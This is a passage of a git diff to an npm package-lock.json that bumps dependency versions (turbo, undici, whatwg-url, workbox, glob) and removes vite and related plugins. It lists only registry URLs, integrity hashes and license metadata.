- "turbo-windows-64": "2.8.7",
- "turbo-windows-arm64": "2.8.7"
+ "turbo-darwin-64": "2.8.12",
+ "turbo-darwin-arm64": "2.8.12",
+ "turbo-linux-64": "2.8.12",
+ "turbo-linux-arm64": "2.8.12",
+ "turbo-windows-64": "2.8.12",
+ "turbo-windows-arm64": "2.8.12"
}
},
"node_modules/turbo-darwin-64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-darwin-64/-/turbo-darwin-64-2.8.7.tgz",
- "integrity": "sha512-Xr4TO/oDDwoozbDtBvunb66g//WK8uHRygl72vUthuwzmiw48pil4IuoG/QbMHd9RE8aBnVmzC0WZEWk/WWt3A==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-darwin-64/-/turbo-darwin-64-2.8.12.tgz",
+ "integrity": "sha512-EiHJmW2MeQQx+21x8hjMHw/uPhXt9PIxvDrxzOtyVwrXzL0tQmsxtO4qHf2l7uA+K6PUJ4+TjY1MHZDuCvWXrw==",
"cpu": [
"x64"
],
@@ -39932,9 +41923,9 @@
]
},
"node_modules/turbo-darwin-arm64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.7.tgz",
- "integrity": "sha512-p8Xbmb9kZEY/NoshQUcFmQdO80s2PCGoLYj5DbpxjZr3diknipXxzOK7pcmT7l2gNHaMCpFVWLkiFY9nO3EU5w==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.12.tgz",
+ "integrity": "sha512-cbqqGN0vd7ly2TeuaM8k9AK9u1CABO4kBA5KPSqovTiLL3sORccn/mZzJSbvQf0EsYRfU34MgW5FotfwW3kx8Q==",
"cpu": [
"arm64"
],
@@ -39946,9 +41937,9 @@
]
},
"node_modules/turbo-linux-64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-linux-64/-/turbo-linux-64-2.8.7.tgz",
- "integrity": "sha512-nwfEPAH3m5y/nJeYly3j1YJNYU2EG5+2ysZUxvBNM+VBV2LjQaLxB9CsEIpIOKuWKCjnFHKIADTSDPZ3D12J5Q==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-linux-64/-/turbo-linux-64-2.8.12.tgz",
+ "integrity": "sha512-jXKw9j4r4q6s0goSXuKI3aKbQK2qiNeP25lGGEnq018TM6SWRW1CCpPMxyG91aCKrub7wDm/K45sGNT4ZFBcFQ==",
"cpu": [
"x64"
],
@@ -39960,9 +41951,9 @@
]
},
"node_modules/turbo-linux-arm64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-linux-arm64/-/turbo-linux-arm64-2.8.7.tgz",
- "integrity": "sha512-mgA/M6xiJzyxtXV70TtWGDPh+I6acOKmeQGtOzbFQZYEf794pu5jax26bCk5skAp1gqZu3vacPr6jhYHoHU9IQ==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-linux-arm64/-/turbo-linux-arm64-2.8.12.tgz",
+ "integrity": "sha512-BRJCMdyXjyBoL0GYpvj9d2WNfMHwc3tKmJG5ATn2Efvil9LsiOsd/93/NxDqW0jACtHFNVOPnd/CBwXRPiRbwA==",
"cpu": [
"arm64"
],
@@ -39974,9 +41965,9 @@
]
},
"node_modules/turbo-windows-64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-windows-64/-/turbo-windows-64-2.8.7.tgz",
- "integrity": "sha512-sHTYMaXuCcyHnGUQgfUUt7S8407TWoP14zc/4N2tsM0wZNK6V9h4H2t5jQPtqKEb6Fg8313kygdDgEwuM4vsHg==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-windows-64/-/turbo-windows-64-2.8.12.tgz",
+ "integrity": "sha512-vyFOlpFFzQFkikvSVhVkESEfzIopgs2J7J1rYvtSwSHQ4zmHxkC95Q8Kjkus8gg+8X2mZyP1GS5jirmaypGiPw==",
"cpu": [
"x64"
],
@@ -39988,9 +41979,9 @@
]
},
"node_modules/turbo-windows-arm64": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo-windows-arm64/-/turbo-windows-arm64-2.8.7.tgz",
- "integrity": "sha512-WyGiOI2Zp3AhuzVagzQN+T+iq0fWx0oGxDfAWT3ZiLEd4U0cDUkwUZDKVGb3rKqPjDL6lWnuxKKu73ge5xtovQ==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo-windows-arm64/-/turbo-windows-arm64-2.8.12.tgz",
+ "integrity": "sha512-9nRnlw5DF0LkJClkIws1evaIF36dmmMEO84J5Uj4oQ8C0QTHwlH7DNe5Kq2Jdmu8GXESCNDNuUYG8Cx6W/vm3g==",
"cpu": [
"arm64"
],
@@ -40023,10 +42014,24 @@
"resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
"integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=4"
}
},
+ "node_modules/type-fest": {
+ "version": "0.16.0",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
+ "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
+ "dev": true,
+ "license": "(MIT OR CC0-1.0)",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
"node_modules/type-is": {
"version": "1.6.18",
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
@@ -40224,6 +42229,18 @@
"resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz",
"integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA=="
},
+ "node_modules/uint8array-extras": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz",
+ "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
"node_modules/unbox-primitive": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
@@ -40249,10 +42266,16 @@
"integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==",
"dev": true
},
+ "node_modules/underscore": {
+ "version": "1.13.8",
+ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.8.tgz",
+ "integrity": "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ==",
+ "license": "MIT"
+ },
"node_modules/undici": {
- "version": "7.20.0",
- "resolved": "https://registry.npmjs.org/undici/-/undici-7.20.0.tgz",
- "integrity": "sha512-MJZrkjyd7DeC+uPZh+5/YaMDxFiiEEaDgbUSVMXayofAkDWF1088CDo+2RPg7B1BuS1qf1vgNE7xqwPxE0DuSQ==",
+ "version": "7.24.1",
+ "resolved": "https://registry.npmjs.org/undici/-/undici-7.24.1.tgz",
+ "integrity": "sha512-5xoBibbmnjlcR3jdqtY2Lnx7WbrD/tHlT01TmvqZUFVc9Q1w4+j5hbnapTqbcXITMH1ovjq/W7BkqBilHiVAaA==",
"license": "MIT",
"engines": {
"node": ">=20.18.1"
@@ -40363,6 +42386,7 @@
"resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
"integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"crypto-random-string": "^2.0.0"
},
@@ -40566,6 +42590,7 @@
"resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
"integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=4",
"yarn": "*"
@@ -40625,16 +42650,6 @@
"node": ">= 0.4"
}
},
- "node_modules/url-parse": {
- "version": "1.5.10",
- "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
- "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
- "dev": true,
- "dependencies": {
- "querystringify": "^2.1.1",
- "requires-port": "^1.0.0"
- }
- },
"node_modules/url/node_modules/punycode": {
"version": "1.4.1",
"resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
@@ -40910,81 +42925,6 @@
"node": ">=4"
}
},
- "node_modules/vite": {
- "version": "6.4.1",
- "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
- "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "esbuild": "^0.25.0",
- "fdir": "^6.4.4",
- "picomatch": "^4.0.2",
- "postcss": "^8.5.3",
- "rollup": "^4.34.9",
- "tinyglobby": "^0.2.13"
- },
- "bin": {
- "vite": "bin/vite.js"
- },
- "engines": {
- "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
- },
- "funding": {
- "url": "https://github.com/vitejs/vite?sponsor=1"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.3"
- },
- "peerDependencies": {
- "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0",
- "jiti": ">=1.21.0",
- "less": "*",
- "lightningcss": "^1.21.0",
- "sass": "*",
- "sass-embedded": "*",
- "stylus": "*",
- "sugarss": "*",
- "terser": "^5.16.0",
- "tsx": "^4.8.1",
- "yaml": "^2.4.2"
- },
- "peerDependenciesMeta": {
- "@types/node": {
- "optional": true
- },
- "jiti": {
- "optional": true
- },
- "less": {
- "optional": true
- },
- "lightningcss": {
- "optional": true
- },
- "sass": {
- "optional": true
- },
- "sass-embedded": {
- "optional": true
- },
- "stylus": {
- "optional": true
- },
- "sugarss": {
- "optional": true
- },
- "terser": {
- "optional": true
- },
- "tsx": {
- "optional": true
- },
- "yaml": {
- "optional": true
- }
- }
- },
"node_modules/vite-plugin-compression2": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/vite-plugin-compression2/-/vite-plugin-compression2-2.2.1.tgz",
@@ -40996,54 +42936,6 @@
"tar-mini": "^0.2.0"
}
},
- "node_modules/vite-plugin-node-polyfills": {
- "version": "0.23.0",
- "resolved": "https://registry.npmjs.org/vite-plugin-node-polyfills/-/vite-plugin-node-polyfills-0.23.0.tgz",
- "integrity": "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@rollup/plugin-inject": "^5.0.5",
- "node-stdlib-browser": "^1.2.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/davidmyersdev"
- },
- "peerDependencies": {
- "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0"
- }
- },
- "node_modules/vite/node_modules/fdir": {
- "version": "6.5.0",
- "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
- "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12.0.0"
- },
- "peerDependencies": {
- "picomatch": "^3 || ^4"
- },
- "peerDependenciesMeta": {
- "picomatch": {
- "optional": true
- }
- }
- },
- "node_modules/vite/node_modules/picomatch": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
- "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
"node_modules/vm-browserify": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz",
@@ -41115,15 +43007,16 @@
"integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="
},
"node_modules/w3c-xmlserializer": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz",
- "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
+ "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "xml-name-validator": "^4.0.0"
+ "xml-name-validator": "^5.0.0"
},
"engines": {
- "node": ">=14"
+ "node": ">=18"
}
},
"node_modules/walker": {
@@ -41183,22 +43076,23 @@
}
},
"node_modules/whatwg-encoding": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz",
- "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==",
- "dev": true,
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
+ "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
+ "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation",
+ "license": "MIT",
"dependencies": {
"iconv-lite": "0.6.3"
},
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/whatwg-encoding/node_modules/iconv-lite": {
"version": "0.6.3",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
"integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
- "dev": true,
+ "license": "MIT",
"dependencies": {
"safer-buffer": ">= 2.1.2 < 3.0.0"
},
@@ -41212,25 +43106,25 @@
"integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg=="
},
"node_modules/whatwg-mimetype": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz",
- "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==",
- "dev": true,
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
+ "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
+ "license": "MIT",
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/whatwg-url": {
- "version": "11.0.0",
- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz",
- "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==",
- "dev": true,
+ "version": "14.2.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
+ "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
+ "license": "MIT",
"dependencies": {
- "tr46": "^3.0.0",
+ "tr46": "^5.1.0",
"webidl-conversions": "^7.0.0"
},
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/which": {
@@ -41375,29 +43269,32 @@
"integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="
},
"node_modules/workbox-background-sync": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-7.3.0.tgz",
- "integrity": "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-7.4.0.tgz",
+ "integrity": "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"idb": "^7.0.1",
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-broadcast-update": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-7.3.0.tgz",
- "integrity": "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-7.4.0.tgz",
+ "integrity": "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA==",
"dev": true,
+ "license": "MIT",
"dependencies": {
- "workbox-core": "7.3.0"
+ "workbox-core": "7.4.0"
}
},
"node_modules/workbox-build": {
- "version": "7.3.0",
- "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-7.3.0.tgz",
- "integrity": "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ==",
+ "version": "7.4.0",
+ "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-7.4.0.tgz",
+ "integrity": "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@apideck/better-ajv-errors": "^0.3.1",
"@babel/core": "^7.24.4",
@@ -41412,50 +43309,43 @@
"common-tags": "^1.8.0",
"fast-json-stable-stringify": "^2.1.0",
"fs-extra": "^9.0.1",
- "glob": "^7.1.6",
+ "glob": "^11.0.1",
"lodash": "^4.17.20",
"pretty-bytes": "^5.3.0",
- "rollup": "^2.43.1",
+ "rollup": "^2.79.2",
"source-map": "^0.8.0-beta.0",
"stringify-object": "^3.3.0",
"strip-comments": "^2.0.1",
"tempy": "^0.6.0",
"upath": "^1.2.0",
- "workbox-background-sync": "7.3.0",
- "workbox-broadcast-update": "7.3.0",
- "workbox-cacheable-response": "7.3.0",
- "workbox-core": "7.3.0",
- "workbox-expiration": "7.3.0",
- "workbox-google-analytics": "7.3.0",
- "workbox-navigation-preload": "7.3.0",
- "workbox-precaching": "7.3.0",
- "workbox-range-requests": "7.3.0",
- "workbox-recipes": "7.3.0",
- "workbox-routing": "7.3.0",
- "workbox-strategies": "7.3.0",
- "workbox-streams": "7.3.0",
- "workbox-sw": "7.3.0",
- "workbox-window": "7.3.0"
+ "workbox-background-sync": "7.4.0",
+ "workbox-broadcast-update": "7.4.0",
+ "workbox-cacheable-response": "7.4.0",
+ "workbox-core": "7.4.0",
+ "workbox-expiration": "7.4.0",
+ "workbox-google-analytics": "7.4.0",
+ "workbox-navigation-preload": "7.4.0",
+ "workbox-precaching": "7.4.0",
+ "workbox-range-requests": "7.4.0",
+ "workbox-recipes": "7.4.0",
+ "workbox-routing": "7.4.0",
+ "workbox-strategies": "7.4.0",
+ "workbox-streams": "7.4.0",
+ "workbox-sw": "7.4.0",
+ "workbox-window": "7.4.0"
},
"engines": {
- "node": ">=16.0.0"
+ "node": ">=20.0.0"
}
},
- "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": {
- "version": "0.3.6",
- "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
- "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+ "node_modules/workbox-build/node_modules/@isaacs/cliui": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-9.0.0.tgz",
+ "integrity": "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==",
"dev": true,
- "dependencies": {
- "json-schema": "^0.4.0",
- "jsonpointer": "^5.0.0",
- "leven": "^3.1.0"
- },
+ "license": "BlueOak-1.0.0",
"engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "ajv": ">=8"
+ "node": ">=18"
}
},
"node_modules/workbox-build/node_modules/@rollup/plugin-babel": {
@@ -41463,6 +43353,7 @@
"resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
"integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@babel/helper-module-imports": "^7.10.4",
"@rollup/pluginutils": "^3.1.0"
@@ -41486,6 +43377,7 @@
"resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
"integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@rollup/pluginutils": "^3.1.0",
"magic-string": "^0.25.7"
@@ -41499,6 +43391,7 @@
"resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
"integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"@types/estree": "0.0.39",
"estree-walker": "^1.0.1",
@@ -41515,19 +43408,62 @@
"version": "0.0.39",
"resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
"integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==",
- "dev": true
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/workbox-build/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/workbox-build/node_modules/brace-expansion": {
+ "version": "5.0.4",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.4.tgz",
+ "integrity": "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
},
"node_modules/workbox-build/node_modules/estree-walker": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz",
"integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==",
- "dev": true
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/workbox-build/node_modules/foreground-child": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz",
+ "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "cross-spawn": "^7.0.6",
+ "signal-exit": "^4.0.1"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
},
"node_modules/workbox-build/node_modules/fs-extra": {
"version": "9.1.0",
"resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
"integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"at-least-node": "^1.0.0",
"graceful-fs": "^4.2.0",
@@ -41539,40 +43475,105 @@
}
},
"node_modules/workbox-build/node_modules/glob": {
- "version": "7.2.3",
- "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
- "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
- "deprecated": "Glob versions prior to v9 are no longer supported",
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-11.1.0.tgz",
+ "integrity": "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw==",
+ "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
"dev": true,
+ "license": "BlueOak-1.0.0",
"dependencies": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.1.1",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "foreground-child": "^3.3.1",
+ "jackspeak": "^4.1.1",
+ "minimatch": "^10.1.1",
+ "minipass": "^7.1.2",
+ "package-json-from-dist": "^1.0.0",
+ "path-scurry": "^2.0.0"
+ },
+ "bin": {
+ "glob": "dist/esm/bin.mjs"
},
"engines": {
- "node": "*"
+ "node": "20 || >=22"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
}
},
+ "node_modules/workbox-build/node_modules/jackspeak": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.2.3.tgz",
+ "integrity": "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "@isaacs/cliui": "^9.0.0"
+ },
+ "engines": {
+ "node": "20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/workbox-build/node_modules/lru-cache": {
+ "version": "11.2.6",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz",
